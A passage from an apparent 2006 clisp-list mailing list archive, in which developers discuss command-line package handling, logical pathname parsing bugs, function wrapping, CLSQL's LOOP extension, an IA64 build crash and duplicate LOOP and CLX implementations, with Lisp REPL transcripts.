>    Clsql relies on uffi.  Cffi's uffi compatibility module has some
>    problems.  I submitted a patch to Luís Oliveira and he seems
>    favorable to incorporating it.
> 
> Gee, would you send me all the non-CLISP sources, patched or original,
> that went into your working CLSQL package?  If I get it to work here
> I'll send back the fixes.
> 
>    I agree that the state of Lisp's (free) libraries need more
>    attention.  That's why I think the Python, Perl, PHP, and Ruby
>    communities are so vibrant -- their libraries are mature,
>    maintained, and continue to grow.  Can't say the same for Lisp,
>    sadly.
> 
> Amen!  Back to Python.
> 
> 		Peace
> 			--Devon



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Don Cohen writes:
> 
> Here's a long standing problem that I only now begin to think of as a
> clisp bug.  Let's see what the rest of you think.
> Consider a batch file with a command like
>  clisp -i start.lsp -p MYPKG
> The behavior I see suggests that this is interpreted as something like
>  (progn (load "start.lsp")(in-package "MYPKG"))
>  
> The problem is that if the load breaks and the user aborts then he
> doesn't end up in MYPKG.  One common case is that the load actually
> goes into a user interaction loop in which the code expects to be in
> MYPKG.  In the case where the user is not actually a programmer one 
> usually tries to catch errors, but it's sometimes useful (esp. for 
> debugging) to break.  At that point you might want to abort and
> restart, or the user might abort accidentally and want to restart.
> In that situation it would be nice to be in MYPKG after the abort.
> 
> I think I'd prefer to do the in-package first.  That's actually what 
> I would have expected.  The only problem I see is that such a change 
> could break some existing working code.
> How about unwind-protect instead of progn?

Well the order of -i and -p indeed fixed, but you could use -x instead:

clisp -q -norc \
    -x '(in-package "KEYWORD")' \
    -x '(cl:load "print-package.lisp")' \
    -x '(ext:quit)'

[1]> 
#<PACKAGE KEYWORD>
KEYWORD[2]> 
#<PACKAGE KEYWORD> 
COMMON-LISP:T
KEYWORD[3]> 

-- 
__Pascal Bourguignon__                     http://www.informatimago.com/

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Pascal Bourguignon writes:
 > 
 > Well the order of -i and -p indeed fixed, but you could use -x instead:
 > 
 > clisp -q -norc \
 >     -x '(in-package "KEYWORD")' \
 >     -x '(cl:load "print-package.lisp")' \
 >     -x '(ext:quit)'
 > 
 > [1]> 
 > #<PACKAGE KEYWORD>
 > KEYWORD[2]> 
 > #<PACKAGE KEYWORD> 
 > COMMON-LISP:T
 > KEYWORD[3]> 

One problem with that is that -x means to exit after the forms.
In your case the quit is unnecessary.  I can fix that with -repl
but the next problem is that -x doesn't allow reading from the
keyboard.  That is, my interactive loop will simply exit due to eof.
So ...
 # cat /tmp/test.lsp 
 (print *package*)
 (defpackage "TEST")
 (in-package "TEST")
 (lisp::print lisp::*package*)
 (lisp::loop (lisp::print (lisp::eval (lisp::read))))

 # /tmp/clisp-2.38/clisp -q -x '(progn (print :hi)(in-package :ffi))' -i /tmp/test.lsp -repl
 ;; Loading file /tmp/test.lsp ...
 #<PACKAGE COMMON-LISP-USER> 
 #<PACKAGE TEST> 
 *** - Ctrl-C: User break
 The following restarts are available:
 SKIP           :R1      skip (LOOP #)
 STOP           :R2      stop loading file /tmp/test.lsp
 ABORT          :R3      ABORT
 Break 1 TEST[2]> 
 [1]> *package*
 #<PACKAGE COMMON-LISP-USER>
 [2]> 

Evidently the -x is also executed after the -i and further, it also
gets lost after the abort.


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Date: Sun May 21 11:52:03 2006
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Don Cohen writes:
> Pascal Bourguignon writes:
>  > 
>  > Well the order of -i and -p indeed fixed, but you could use -x instead:
>  > 
>  > clisp -q -norc \
>  >     -x '(in-package "KEYWORD")' \
>  >     -x '(cl:load "print-package.lisp")' \
>  >     -x '(ext:quit)'
>  > 
>  > [1]> 
>  > #<PACKAGE KEYWORD>
>  > KEYWORD[2]> 
>  > #<PACKAGE KEYWORD> 
>  > COMMON-LISP:T
>  > KEYWORD[3]> 
> 
> One problem with that is that -x means to exit after the forms.
> In your case the quit is unnecessary.  I can fix that with -repl
> but the next problem is that -x doesn't allow reading from the
> keyboard.  That is, my interactive loop will simply exit due to eof.

Well, really, everything should be put in a file and either load it or
run it as a #! script; then you have full control.


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Date: Sun May 21 12:04:08 2006
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Pascal Bourguignon writes:

 > Well, really, everything should be put in a file and either load it or
 > run it as a #! script; then you have full control.

Running from #! does not give you keyboard interaction.
Load does not let you change the package outside of the load.
That means that if you interrupt and abort the load then you're
not in the package you want.


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Date: Sun May 21 14:11:04 2006
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Don Cohen writes:
> Pascal Bourguignon writes:
> 
>  > Well, really, everything should be put in a file and either load it or
>  > run it as a #! script; then you have full control.
> 
> Running from #! does not give you keyboard interaction.

What do you mean?

#!/usr/local/bin/clisp -ansi -q -on-error debug
;; -*- mode: lisp -*-
(when (yes-or-no-p "Ready to test ext:with-keyboard?")
  (screen:with-window
      (ext:with-keyboard
          (loop
             :for column :from 10
             :for keyboard-input = (read-char ext:*keyboard-input*)
             :for ch = (system::input-character-char keyboard-input)
             :until (member ch '(#\Return #\linefeed #\return)
                            :test (function char=))
             :initially (screen:set-window-cursor-position
                         screen:*window* 2 column)
             :do (progn
                   (screen:set-window-cursor-position
                    screen:*window* (+ 2 column) 2)
                   (format screen:*window* "~S" keyboard-input)
                   (when (characterp ch)
                     (screen:set-window-cursor-position screen:*window* 2 column)
                   (princ ch screen:*window*)))))))

;; This works perfectly!


> Load does not let you change the package outside of the load.
> That means that if you interrupt and abort the load then you're
> not in the package you want.

Yes, that's why I'm telling you to use #!. Then, you never get outside
of the load, and you always control in what package you are.

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Date: Sun May 21 15:13:04 2006
X-Original-Date: Mon, 22 May 2006 00:12:06 +0200 (CEST)

Hello,

With latest CVS

File: pathname.d       	Status: Up-to-date

   Working revision:	1.393
   Repository revision:	1.393	/cvsroot/clisp/clisp/src/pathname.d,v

on MacOSX 10.4.6 / MacMini Intel Core Solo, translate-logical-pathname
doesn't crash anymore, and with logical pathnames that contain the
logical host, it works now:

[1]> (setf (logical-pathname-translations "PACKAGES") 
       '((#P"PACKAGES:**;*"      #P"/usr/local/share/lisp/packages/**/*")
         (#P"PACKAGES:**;*.*"    #P"/usr/local/share/lisp/packages/**/*.*")
         (#P"PACKAGES:**;*.*.*"  #P"/usr/local/share/lisp/packages/**/*.*.*")))
((#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))
[2]> (directory #P"PACKAGES:*;")
(#P"/usr/local/share/lisp/packages/org/"
 #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/"
 #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/"
 #P"/usr/local/share/lisp/packages/com/")


but it doens't work anymore if the logical pathnames don't contain
the logical host (this may be wanted, and is within the specifications,
but this is an upward incompatibility):

[3]> (logical-pathname-translations "PACKAGES")
((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))
[4]> (directory "PACKAGES:*;")
NIL
[5]> (directory #P"/usr/local/share/lisp/packages/*/")
(#P"/usr/local/share/lisp/packages/org/"
 #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/"
 #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/"
 #P"/usr/local/share/lisp/packages/com/")



In any case, it seems that an inconsistency occurs because of the way
make-pathname works on an unknown logical host:

#P"NEWHOST:**;*"                                       --> #P"NEWHOST:**;*" 

(make-pathname :host "NEWHOST"
               :directory '(:absolute :wild-inferiors)
               :name :wild)                            --> #P"/**/*"

This is unfortunate, since the later doesn't allow
TRANSLATE-LOGICAL-PATHNAME to work anymore...



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[1]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*"  #P"/tmp/**/*")))
((#P"TEST:**;*" #P"/tmp/**/*"))
[2]> (logical-pathname-translations "TEST")
((#P"TEST:**;*" #P"/tmp/**/*"))
[3]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*"  #P"/tmp/**/*")))
((#P"TEST:**;*" #P"/tmp/**/*"))
[4]> (logical-pathname-translations "TEST")
((#P"TEST:**;*" #P"/tmp/**/*"))

[5]> (setf (logical-pathname-translations "TOST") 
      (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild))))
((#P"/**/*"))
[6]> (logical-pathname-translations "TOST")
((#P"/**/*"))
[7]> (setf (logical-pathname-translations "TOST")
      (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild))))
((#P"TOST:**;*"))
[8]> (logical-pathname-translations "TOST")
((#P"TOST:**;*"))



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Subject: [clisp-list] logical-pathname-translations : better ; make-pathname vs #P : bad
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Date: Sun May 21 15:29:04 2006
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Hello,

With latest CVS

File: pathname.d       	Status: Up-to-date

   Working revision:	1.393
   Repository revision:	1.393	/cvsroot/clisp/clisp/src/pathname.d,v

on MacOSX 10.4.6 / MacMini Intel Core Solo, translate-logical-pathname
doesn't crash anymore, and with logical pathnames that contain the
logical host, it works now:

[1]> (setf (logical-pathname-translations "PACKAGES") 
       '((#P"PACKAGES:**;*"      #P"/usr/local/share/lisp/packages/**/*")
         (#P"PACKAGES:**;*.*"    #P"/usr/local/share/lisp/packages/**/*.*")
         (#P"PACKAGES:**;*.*.*"  #P"/usr/local/share/lisp/packages/**/*.*.*")))
((#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))
[2]> (directory #P"PACKAGES:*;")
(#P"/usr/local/share/lisp/packages/org/"
 #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/"
 #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/"
 #P"/usr/local/share/lisp/packages/com/")


but it doens't work anymore if the logical pathnames don't contain
the logical host (this may be wanted, and is within the specifications,
but this is an upward incompatibility):

[3]> (logical-pathname-translations "PACKAGES")
((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))
[4]> (directory "PACKAGES:*;")
NIL
[5]> (directory #P"/usr/local/share/lisp/packages/*/")
(#P"/usr/local/share/lisp/packages/org/"
 #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/"
 #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/"
 #P"/usr/local/share/lisp/packages/com/")



In any case, it seems that an inconsistency occurs because of the way
make-pathname works on an unknown logical host:

#P"NEWHOST:**;*"                                       --> #P"NEWHOST:**;*" 

(make-pathname :host "NEWHOST"
               :directory '(:absolute :wild-inferiors)
               :name :wild)                            --> #P"/**/*"

This is unfortunate, since the later doesn't allow
TRANSLATE-LOGICAL-PATHNAME to work anymore...



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[1]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*"  #P"/tmp/**/*")))
((#P"TEST:**;*" #P"/tmp/**/*"))
[2]> (logical-pathname-translations "TEST")
((#P"TEST:**;*" #P"/tmp/**/*"))
[3]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*"  #P"/tmp/**/*")))
((#P"TEST:**;*" #P"/tmp/**/*"))
[4]> (logical-pathname-translations "TEST")
((#P"TEST:**;*" #P"/tmp/**/*"))

[5]> (setf (logical-pathname-translations "TOST") 
      (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild))))
((#P"/**/*"))
[6]> (logical-pathname-translations "TOST")
((#P"/**/*"))
[7]> (setf (logical-pathname-translations "TOST")
      (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild))))
((#P"TOST:**;*"))
[8]> (logical-pathname-translations "TOST")
((#P"TOST:**;*"))





One more thing that's puzzling me: How did this *.*.*.NEWEST appear?


/usr/local/languages/clisp-cvs-2/bin/clisp -ansi -q -norc
[1]> (EVAL-WHEN (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)
         (DEFVAR *LOGICAL-HOSTS* '()))
*LOGICAL-HOSTS*
[2]> (DEFUN DEF-LP-TRANS (HOST PATH &OPTIONAL (SUBPATH ""))
  (PUSHNEW HOST *LOGICAL-HOSTS* :TEST (FUNCTION STRING-EQUAL))
  ;; If the HOST is already defined we don't change it (eg. HOME):
  (UNLESS (HANDLER-CASE (LOGICAL-PATHNAME-TRANSLATIONS HOST) (ERROR () NIL))
    (dotimes (i 2) ; this is to avoid a bug in some versions of clisp...
      (print (mapcar (lambda (tail)
                       (list 
                        (merge-pathnames 
                         tail
                         (make-pathname
                          :host host 
                          :directory '(:absolute :wild-inferiors)))
                        (merge-pathnames 
                         tail 
                         (make-pathname
                          :directory (APPEND (PATHNAME-DIRECTORY PATH)
                                             (CDR (PATHNAME-DIRECTORY SUBPATH))
                                             '( :WILD-INFERIORS ))))))
                     '(#P"*" #P"*.*" #P"*.*.*")))
      (SETF (LOGICAL-PATHNAME-TRANSLATIONS HOST)
            (mapcar (lambda (tail)
                      (list 
                       (merge-pathnames 
                        tail
                        (make-pathname
                         :host host 
                         :directory '(:absolute :wild-inferiors)))
                       (merge-pathnames 
                        tail 
                        (make-pathname
                         :directory (APPEND (PATHNAME-DIRECTORY PATH)
                                            (CDR (PATHNAME-DIRECTORY SUBPATH))
                                            '( :WILD-INFERIORS ))))))
                    '(#P"*" #P"*.*" #P"*.*.*"))))))
DEF-LP-TRANS
[3]> (DEFPARAMETER +SHARE-LISP+ "/usr/local/share/lisp/")
+SHARE-LISP+
[4]> (DEF-LP-TRANS "PACKAGES"   +SHARE-LISP+ "packages/")

((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) 
((#P"PACKAGES:**;*.NEWEST" #P"/usr/local/share/lisp/packages/**/*")
 (#P"PACKAGES:**;*.*.NEWEST" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*.*.*.NEWEST" #P"/usr/local/share/lisp/packages/**/*.*.*")) 
NIL


I bet the bug is here:

[5]> (pathname-version #P"*.*.*")
NIL
[6]> (pathname-type #P"*.*.*")
:WILD
[7]> (pathname-name #P"*.*.*")
"*.*"
[8]> 




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Don Cohen <don-sourceforge-xx <at> isis.cs3-inc.com> writes:
> 
>  > I know there is a utility for wrapping regular function in AllegroCL. From a
>  > user perspective it works somewhat similar to :around method in a 
gen-function.
> This is what trace does.  See the options in impnotes 25.2.5

It seems to me that there is a small confusion.
One may use fwrapper to create a utility like trace. But this is not the only
possible use of fwrapper. In my opinion, the real place for fwrappers is in
modification of behaviour of black-boxes. Say you have black-box A, which uses
black-box B. Modifying behaviour of B leads to a new behaviour of A. This
scenario is not about tracing or debugging. One cannot use trace for this, right?

Trace traces execution of a given function, i.e. function is executed. But when
you make a wrapper for a function in ACL, there might be no execution of a
wrapped function. And a wrapped function can be itself a wrapped function.



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Jakub Hegenbart <Kyosuke <at> seznam.cz> writes:
> http://www.cs.cmu.edu/~dst/Lisp/dtrace/dtrace.generic

Trace utility can be maid using wrapper, but this is not the only use of
function wrapping.
Imagine that you want to modify existing system. This is where wrappers are
useful, at least in my opinion.

> Could you possibly replace the function in the same way that trace-function
does (by setf-ing
> (symbol-function <whatever>) with a lambda)?

This is exactly what you should do, when function wrapping is absent. But then,
you have to hook an initial function, if you plan to use it, etc. You've got no
such head-aches when you use fwrapper. Again, it is more like :around method in
generic functions.




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The syntax described for logical pathname namestrings in section 19.3.1
clearly allows "*.*.*" and should be parsed as name . type . version
all three :wild.
http://www.lispworks.com/documentation/HyperSpec/Body/19_ca.htm

Unfortunately, clisp-2.38 doesn't parses it as a logical pathname, but
as a physical pathname whose name is "*.*", type :wild and version nil!

Moreover, it refuses to print readably:

  (make-pathname :name :wild :type :wild :version :wild)

and both:

  (make-pathname :name :wild :type :wild :version :wild)
  (make-pathname :name :wild :type :wild :version nil)

print (non-readably) as  #P"*.*", which is rather surprizing!


[17]> (let ((*print-readably* t))
       (mapcar (lambda (p) (mapcar (lambda (f) (funcall f p))
                              (list (function pathname-name)
                                    (function pathname-type)
                                    (function pathname-version)
                                    (function type-of)
                                    (lambda (x) (typep x 'logical-pathname))
                                    (lambda (x) (ignore-errors (print x))))))
               (list (make-pathname :name :wild)
                     (make-pathname :name :wild :type :wild)
                     (make-pathname :name :wild :type :wild :version :wild)
                     #P"*.*.*"
                     #P"PACKAGES:*.*.*")))

#P"*" 
#P"*.*" 

#P"*.*.*" 
#S(|COMMON-LISP|::|LOGICAL-PATHNAME| :|HOST| "PACKAGES" :|DEVICE| :|UNSPECIFIC|
   :|DIRECTORY| (:|ABSOLUTE|) :|NAME| :|WILD| :|TYPE| :|WILD|
   :|VERSION| :|WILD|) 
((:WILD NIL NIL PATHNAME NIL #P"*") (:WILD :WILD NIL PATHNAME NIL #P"*.*")
 (:WILD :WILD :WILD PATHNAME NIL NIL) ("*.*" :WILD NIL PATHNAME NIL #P"*.*.*")
 (:WILD :WILD :WILD LOGICAL-PATHNAME T #P"PACKAGES:*.*.*"))


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-05-21 10:11:23 -0700]:
>
> Here's a long standing problem that I only now begin to think of as a
> clisp bug.  Let's see what the rest of you think.
> Consider a batch file with a command like
>  clisp -i start.lsp -p MYPKG
> The behavior I see suggests that this is interpreted as something like
>  (progn (load "start.lsp")(in-package "MYPKG"))
>  
> The problem is that if the load breaks and the user aborts then he
> doesn't end up in MYPKG.  One common case is that the load actually
> goes into a user interaction loop in which the code expects to be in
> MYPKG.  In the case where the user is not actually a programmer one 
> usually tries to catch errors, but it's sometimes useful (esp. for 
> debugging) to break.  At that point you might want to abort and
> restart, or the user might abort accidentally and want to restart.
> In that situation it would be nice to be in MYPKG after the abort.
>
> I think I'd prefer to do the in-package first.  That's actually what 
> I would have expected.  The only problem I see is that such a change 
> could break some existing working code.
> How about unwind-protect instead of progn?

the idea behind this behavior is that MYPKG may be defined in start.lisp
and if loading start.lisp fails, MYPKG cannot be assumed to exist.

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Pascal Bourguignon writes:

 > #!/usr/local/bin/clisp -ansi -q -on-error debug
You're right that I can get interaction this way
(even better with -repl since I then stay in lisp even if I return
from the last form in the file) but I still don't end up in the
package I wanted.

/tmp/test.lsp:
 #! /tmp/clisp-2.38/clisp -on-error debug
 (print *package*)
 (defpackage "TEST")
 (in-package "TEST")
 (lisp::print lisp::*package*)
 (lisp::loop (lisp::print (lisp::eval (lisp::read))))
transcript:
 # /tmp/test.lsp

 #<PACKAGE COMMON-LISP-USER> 
 #<PACKAGE TEST>
 *** - Ctrl-C: User break
 The following restarts are available:
 SKIP           :R1      skip (LOOP #)
 STOP           :R2      stop loading file /tmp/test.lsp
 ABORT          :R3      ABORT
 Break 1 TEST[2]> abort
 [1]> *package*
 #<PACKAGE COMMON-LISP-USER>
 [2]> 


Sam Steingold writes:
 > the idea behind this behavior is that MYPKG may be defined in start.lisp
 > and if loading start.lisp fails, MYPKG cannot be assumed to exist.
That makes some sense.  On the other hand, MYPKG might be defined
before the previous saveinitmem.  
In any case the unwind-protect version seems to make sense.

I suppose another possibility would be some way to change the global
binding of *package* (or if you want to generalize, a way to change
arbitrary other bindings of arbitrary special variables).
Is that now supported?


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-05-22 08:49:27 -0700]:
>
> Sam Steingold writes:
>  > the idea behind this behavior is that MYPKG may be defined in start.lisp
>  > and if loading start.lisp fails, MYPKG cannot be assumed to exist.
> That makes some sense.  On the other hand, MYPKG might be defined
> before the previous saveinitmem.
then you can pass "-p" before "-i"

> In any case the unwind-protect version seems to make sense.

CL is not scheme.
in scheme a failed form prints an error and returns to the top level.
in lisp a failed form drops you into the debugger.
command line options are shortcuts to the REPL and behave accordingly.

> I suppose another possibility would be some way to change the global
> binding of *package* (or if you want to generalize, a way to change
> arbitrary other bindings of arbitrary special variables).  Is that now
> supported?

that's what -p does: (setq *package* (find-package arg))

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   Lou Vanek:
   Clsql's loop macro doesn't work on Clisp (but it's not needed).
What particular thing doesn't work and what is it used for?

     Devon Sean McCullough:
 > > Gee, would you send me all the non-CLISP sources, patched or original,
 > > that went into your working CLSQL package?  If I get it to work here
 > > I'll send back the fixes.
   Lou Vanek:
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 > Give me some time to put it together because a code review is in process!
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Sam Steingold writes:
 > >  > the idea behind this behavior is that MYPKG may be defined in start.lisp
 > >  > and if loading start.lisp fails, MYPKG cannot be assumed to exist.
 > > That makes some sense.  On the other hand, MYPKG might be defined
 > > before the previous saveinitmem.
 > then you can pass "-p" before "-i"
No, that does not work.  It looks to me like the -p and -i in either
order translate to (progn (load file)(setf *package* package)) and the
abort from the load causes the package to be ignored.  That's why I
suggested the unwind-protect.

test.lsp:
 (print *package*)
 (defpackage "TEST")
 (in-package "TEST")
 (lisp::print lisp::*package*)
 (lisp::loop (lisp::print (lisp::eval (lisp::read))))
transcript:
 # /tmp/clisp-2.38/clisp -p FFI -i /tmp/test.lsp -q
 ;; Loading file /tmp/test.lsp ...
 #<PACKAGE COMMON-LISP-USER> 
 #<PACKAGE TEST> 
 *** - Ctrl-C: User break
 The following restarts are available:
 SKIP           :R1      skip (LOOP #)
 STOP           :R2      stop loading file /tmp/test.lsp
 ABORT          :R3      ABORT
 Break 1 TEST[2]> abort
 [1]> *package*
 #<PACKAGE COMMON-LISP-USER>
 [2]> 


 > > In any case the unwind-protect version seems to make sense.
 > CL is not scheme.
 > in scheme a failed form prints an error and returns to the top level.
 > in lisp a failed form drops you into the debugger.
 > command line options are shortcuts to the REPL and behave accordingly.
I don't understand the point of this.  Couldn't the command line
arguments be viewed as a shortcut for the unwind-protect form I
suggest instead of the progn form that now seems to be executed?

 > > I suppose another possibility would be some way to change the global
 > > binding of *package* (or if you want to generalize, a way to change
 > > arbitrary other bindings of arbitrary special variables).  Is that now
 > > supported?
 > 
 > that's what -p does: (setq *package* (find-package arg))
And this would do what I want if the load function did not rebind
*package*.  What I'm asking for is something that I could put in
a file to be loaded that would affect the binding of *package* outside
the load.  Or more generally,

(defvar foo 1)
(let ((foo 2)) (global-setf foo 3))
;; now foo = 3
or even more generally,
(let ((foo 1))
  (let ((foo 2))
    (let ((foo 3))
      (something here that causes the desired result below))
    (print foo))
  (print foo))
=>
 5
 6


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 > > This is what trace does.  See the options in impnotes 25.2.5
 > 
 > It seems to me that there is a small confusion.
 > One may use fwrapper to create a utility like trace. But this is not the only
 > possible use of fwrapper. In my opinion, the real place for fwrappers is in
 > modification of behaviour of black-boxes. Say you have black-box A, which uses
 > black-box B. Modifying behaviour of B leads to a new behaviour of A. This
 > scenario is not about tracing or debugging. One cannot use trace for this, right?
 > 
 > Trace traces execution of a given function, i.e. function is executed. But when
 > you make a wrapper for a function in ACL, there might be no execution of a
 > wrapped function. And a wrapped function can be itself a wrapped function.

My point was that trace is more general that it looks.
It can be used to modify a function arbitrarily, including not
evaluating the original code at all.

That said, the advice facility available in other places (originally
interlisp, I believe) still has some advantages, in particular for the
case where different users/uses want to change the same function for
different purposes.  However, such uses cannot really be independent
of each other anyway, e.g., one has to decide whether to call the
other. 


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Don Cohen wrote:

>    Lou Vanek:
>    Clsql's loop macro doesn't work on Clisp (but it's not needed).
> What particular thing doesn't work and what is it used for?

This is the loop macro:

   http://clsql.b9.com/manual/loop-tuples.html

There are tons of other ways to iterate over a set of records, but they
might not be as pretty. I wrote a simple example of iteration in the tarball
(included mysql tutorial). It's not as elegant as using a loop macro, though.

>      Devon Sean McCullough:
>  > > Gee, would you send me all the non-CLISP sources, patched or original,
>  > > that went into your working CLSQL package?  If I get it to work here
>  > > I'll send back the fixes.
>    Lou Vanek:
>  > Sure. I'll pack up a tar ball, give it a shake or two, and email it to you.
>  > Give me some time to put it together because a code review is in process!
> Better yet, post it on a web page, or send me a copy and I'll do so.

I've sent the tarball to Devon and am awaiting his feedback to see if it works
for him. I wasn't planning on posting the code until I was sure it worked
for somebody besides myself. If you want a copy I'd be glad to send it if you
would be willing to let me know if it works any better than the current clsql /
cffi packages. Then I'll post it, knowing that I haven't overlooked
something obvious. I don't like to inflict bad code on others if I can avoid it,
especially if somebody's willing to give it a quick run first. The tarball is
not set up to be used by lisp newbies, though, because installation instructions
are sparse. Send email to vanek AT acd DOT net if interested. The changes I made
make it possible to use mysql, but any program that needs to use uffi would
benefit since most of the patches are for the uffi-compatibility module.

I was hoping that the cffi maintainers would propagate my patch but their darcs
repository shows that they haven't. I prefer giving the cffi folks a chance to
apply the changes but if nothing is going to break loose soon...



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Don Cohen asks:
>   Lou Vanek:
>   Clsql's loop macro doesn't work on Clisp (but it's not needed).
>What particular thing doesn't work and what is it used for?

Some implementation of the LOOP macro provide for user defined iteration clauses.  E.g. the very old MIT-LOOP code has IIRC DEFINE/ADD(?)-LOOP-PATH to define this.  The user's definition looks much like a setf-expander and returns IIRC seven values: snippets of code that the LOOP macro will insert in various places of its extension.

CLSQL uses this extension where available (e.g. cmucl, Lispworks AFAIK).

Nobody ever wrote this for CLISP's LOOP.  It may be a very interesting exercise in macrology for an amateur Lispnik not scared by setf expanders.

Contributions are welcome.

[I wonder whether it would be a good idea to post CLISP-related Lisp jobs on Cliki, like SBCL people seem to do.]

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-05-23 11:29:54 +0200]:
>
> [I wonder whether it would be a good idea to post CLISP-related Lisp
> jobs on Cliki, like SBCL people seem to do.]

don't forget to announce it here too.
and note http://clisp.cons.org/wanted.html


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Just to say it, the binary "foo" crashes in IA64 done during
`make check' or `make check-exec-image'.
The last successfull read is the read of the rheader in
spvw_memfile.d:1518 with the size of 16, the next read with
128MB fails in unixaux.d:352.  With this extrem large read,
the mmaps of executable are broken and the runtime linker is
fooled by this.

Is there an approach to do the clisp object stuff hardware
independent, that means that the layout of mappings of the
architecture can be changed on the fly without breaking clisp?


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On Tue, May 23, 2006 at 04:09:23PM +0200, Dr. Werner Fink wrote:
> Just to say it, the binary "foo" crashes in IA64 done during
> `make check' or `make check-exec-image'.
> The last successfull read is the read of the rheader in
> spvw_memfile.d:1518 with the size of 16, the next read with
> 128MB fails in unixaux.d:352.  With this extrem large read,
> the mmaps of executable are broken and the runtime linker is
> fooled by this.

OK, with an unlimited stack size I get the message

 ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.38/ia64-suse-linux/foo' was not created by this version of CLISP runtime

which is not that what I want ;)

> 
> Is there an approach to do the clisp object stuff hardware
> independent, that means that the layout of mappings of the
> architecture can be changed on the fly without breaking clisp?

This question still remains.

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Hoehle, Joerg-Cyril writes:
 > Some implementation of the LOOP macro provide for user defined
 > iteration clauses.  E.g. the very old MIT-LOOP code has IIRC
 > DEFINE/ADD(?)-LOOP-PATH to define this.  The user's definition
 > looks much like a setf-expander and returns IIRC seven values:
 > snippets of code that the LOOP macro will insert in various places
 > of its extension.
 > 
 > CLSQL uses this extension where available (e.g. cmucl, Lispworks AFAIK).

To me the obvious solution is that CLSQL should come with its own
copy of the loop macro for use only in its own package(s).  
This is what ap5 does.
I don't think that one piece of software ought to change the way the 
loop macro (or other shared functionality) works in others.

I never understood why clisp (or any other common lisp implementation)
reimplemented loop.



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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-05-23 07:59:31 -0700]:
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> I never understood why clisp (or any other common lisp implementation)
> reimplemented loop.

1. licensing
2. existing implementations contain various mutually incompatible bugs
3. hutzpa

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Sam Steingold writes:
 > > * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-05-23 07:59:31 -0700]:
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 > > I never understood why clisp (or any other common lisp implementation)
 > > reimplemented loop.
 > 
 > 1. licensing
What do you require in the way of licensing?
The version I use seems to require only that the notices (MIT, Symbolics)
remain in the code.  What's wrong with that?

 > 2. existing implementations contain various mutually incompatible bugs
You're still allowed to maintain your version of the standard code.
If others use that same code then you get to share that work with them.

 > 3. hutzpa
This one I understand.
Perhaps I simply assign a smaller value to it than you do.
The value must be pretty high to justify the work of writing and 
maintaining your own loop.  If you used the MIT code you might still
have some maintenance, (I bet not much) but you would avoid issues
such as the one that started this discussion.


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Hi,

[Don Cohen wonders why CLISP has its own implementation of LOOP.]
Oh well, we had those exact same arguments 5 or 8 years ago (was it 1998?) in this mailing list.

I'm quite in favour of multiple implementations of specifications (given that somebody already wrote the code).  Diversity and the "Proposed ANSI clarifications" page on Cliki show that it helps to uncover holes in specifications.  A single implementation is not enough for that. (Pythonists wouldn't care.)

>If others use that same code then you get to share that work with them.
Indeed, and pardon me for changing the subject one more time, I feel that CLX is a good candidate for this.

1. I forgot the reasons why there's both MIT-CLX and Gilbert Baumann's NEW-CLX in the CLISP source tree.  Are there some applications that only work with one of them?

2. I know that Christophe Rhodes said recently in c.l.l that he considers sbcl's CLX to be the most bug free and improved one, given the number of CVS changes that it has received.

So there are at least 4 versions/releases of CLX being used (2 in CLISP, 1 in sbcl and a different one, according to Christophe IIRC in cmucl).
That's quite different from LOOP, as 3 out of 4 CLX come from the same source tree.

A merge of the MIT-derivative CLX would be a useful task IMHO.  Clearly, I'm not qualified to judge this integration work as I've never ever used CLX (well, perhaps via Garnet, but it's so long ago).

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-05-23 18:48:52 +0200]:
>
> 1. I forgot the reasons why there's both MIT-CLX and Gilbert Baumann's
